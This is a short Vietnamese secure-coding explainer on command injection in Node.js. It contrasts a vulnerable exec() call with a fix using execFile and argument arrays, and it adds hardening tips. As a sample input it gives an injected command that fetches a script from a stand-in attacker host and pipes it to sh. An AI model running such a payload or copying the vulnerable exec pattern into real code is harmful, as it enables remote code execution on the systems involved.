Rủi ro là command injection: khi chuỗi được đưa qua shell, các ký tự ;, |, &&, $(...), backtick được shell diễn giải thành lệnh mới, chạy dưới quyền của process ứng dụng.
// vulnerable: goes through /bin/sh
exec(`convert ${input} -resize 800x out.jpg`)
// input = "a.jpg; curl attacker.com/x.sh | sh"Cách viết lại — bỏ shell đi:
import { execFile } from 'node:child_process'
execFile('convert', [input, '-resize', '800x', out], callback)execFile/spawn (với shell: false, là mặc định) truyền mảng đối số thẳng cho tiến trình con, không qua shell nên không có gì để diễn giải. Java tương ứng là ProcessBuilder với list argument, Python là subprocess.run([...], shell=False).
Vẫn phải làm thêm:
- Không dùng tên file của user làm tên trên đĩa. Sinh tên ngẫu nhiên (UUID) + phần mở rộng suy ra từ content type đã kiểm tra; giữ tên gốc trong DB để hiển thị.
- Allowlist đối số: kích thước, format là giá trị từ enum của bạn, không phải chuỗi user truyền vào.
- Tên bắt đầu bằng - vẫn bị hiểu là flag dù không qua shell → chặn bằng bước sinh tên ở trên, hoặc thêm --.
- Chạy tiến trình với quyền tối thiểu, timeout, và giới hạn tài nguyên.
Tốt nhất là dùng thư viện trong tiến trình (sharp, Pillow) thay vì gọi binary ngoài — không có shell thì không có command injection.